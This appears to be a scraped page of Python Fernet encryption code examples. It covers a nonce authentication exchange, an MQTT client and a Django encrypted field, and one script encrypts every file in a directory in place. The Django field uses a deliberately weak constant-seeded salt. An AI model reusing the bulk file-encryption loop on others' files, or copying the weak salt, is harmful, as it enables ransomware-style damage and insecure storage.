    decodedData = decodedData.split(',')
    if (nonce2 - 1 != int(decodedData[0])):
        print("Nonce Match Error")
        return

    # Send to file server for verification
    encryptedDestNonce = f.encrypt(str(int(decodedData[1]) - 1).encode())
    message = "Authenticated," + encryptedDestNonce.decode()
    s.sendto(message.encode(), ('127.0.0.1', PORT))

    # Recieve from file server authenticated
    data, addr = s.recvfrom(BUFFER_SIZE)
    data = data.decode()
    data = data.split(',')
    if (data[0] != "Authenticated"):
        print("Authentication Error")
        return

    global sessionKey
    sessionKey = sessKey
Example #58
0
        f.write(key)
else:
    key = open('my_key.txt', 'rb').read()
print(key)
cipher = Fernet(key)

encrypt_yes = True

if encrypt_yes:
    with os.scandir(path=scan_dir_to_encrypt_decrypt) as it:
        for entry in it:
            if not entry.is_file():
                print("dir:\t" + entry.name)
            else:
                read_file = open(scan_dir_to_encrypt_decrypt+entry.name, 'rb').read()
                encrypted_file_content = cipher.encrypt(read_file)
                with open(scan_dir_to_encrypt_decrypt+entry.name, 'wb') as f:
                    f.write(encrypted_file_content)
                print("file encrypted:\t" + entry.name)
else:
    with os.scandir(path=scan_dir_to_encrypt_decrypt) as it:
        for entry in it:
            if not entry.is_file():
                print("dir:\t" + entry.name)
            else:
                encrypted_file_content = open(scan_dir_to_encrypt_decrypt+entry.name, 'rb').read()
                file_content = cipher.decrypt(encrypted_file_content)
                with open(scan_dir_to_encrypt_decrypt+entry.name, 'wb') as f:
                    f.write(file_content)
                print("file decrypted:\t" + entry.name)
Example #59
0
class EncryptedStringField(FormField):
    """
    Enter/edit/store an encrypted string field

    initially tried django-encrypted-model-fields and django-fernet-fields
    but there are compaibility issues, and we wanted the ability
    to pass around the encrypted value and decrypt later

    https://cryptography.io/en/latest/fernet/#using-passwords-with-fernet
    https://stackoverflow.com/a/66191826/866759
    """
    def __init__(self, key, platform_name, default_value):
        super().__init__(key, platform_name, default_value)
        #Salt should ideally be from os.urandom, requires storing salt values somewhere
        #using a salt generated from user_id is less secure, but better than a constant
        self.f = None
        self.gen_salt(1234)  #Start with a constant

    def gen_salt(self, seed=0, length=16):
        """Call this to generate a salt based on a provided seed integer"""
        random.seed(seed)
        salt = bytes([random.getrandbits(8) for i in range(length)])
        self.setup(salt)

    def setup(self, salt):
        """Init the encryption using provided salt data (bytes)"""
        kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),
                         length=32,
                         salt=salt,
                         iterations=100000,
                         backend=default_backend())

        #Our key is defined in settings.py from an environment var
        #(Using settings.SECRET_KEY fails in production because worker/webapp have differing values)
        key = base64.urlsafe_b64encode(
            kdf.derive(settings.ENCRYPTION_KEY.encode('utf-8')))
        self.f = Fernet(key)

    def decrypt_value(self, value):
        """Decrypts a provided string using the active salt/key"""
        value = force_bytes(value)
        try:
            return force_text(self.f.decrypt(value))
        except (InvalidToken) as e:
            logger.info("Invalid encrypted data!")
            return ""

    def get_encrypted_value(self, user_data_store):
        """Get the data without decryption, can use decrypt_value() later to 
        decrypt when/as needed rather than passing around plaintext"""
        return user_data_store.get_string(self.field_id,
                                          default=self.default_value)

    def get_stored_value(self, user_data_store):
        encrypted = self.get_encrypted_value(user_data_store)
        if not encrypted:
            return None
        return self.decrypt_value(encrypted)

    def save_value(self, user_data_store, form):
        value = form.cleaned_data[self.field_id]
        encrypted = self.f.encrypt(bytes(value, 'utf-8'))
        user_data_store.set_string(self.field_id, force_text(encrypted))
Example #60
0
        recv_package(data)


client = mqtt.Client()
client.username_pw_set(username='******', password='******')
client.tls_set('/etc/ssl/certs/DST_Root_CA_X3.pem',
               tls_version=ssl.PROTOCOL_TLSv1_2)

# LWT
status_lwt = json.dumps({
    'modem_status': 0,
    'pop_status': 0,
    'token': config['token']
}).encode()
status_lwt = cipher.encrypt(status_lwt).decode()
client.will_set(topic=topic_status, payload="Offline", qos=2, retain=True)

client.on_connect = on_connect
client.on_disconnect = on_disconnect
client.on_message = on_message
client.on_publish = on_publish
client.connect(host=broken_url, port=broken_port, keepalive=10)

client.subscribe(topic=topic_execute, qos=2)


def main():
    while True:
        try:
            # status_pack = json.dumps({'modem_status': 1, 'pop_status': read_status_pin(), 'token': config['token']}).encode()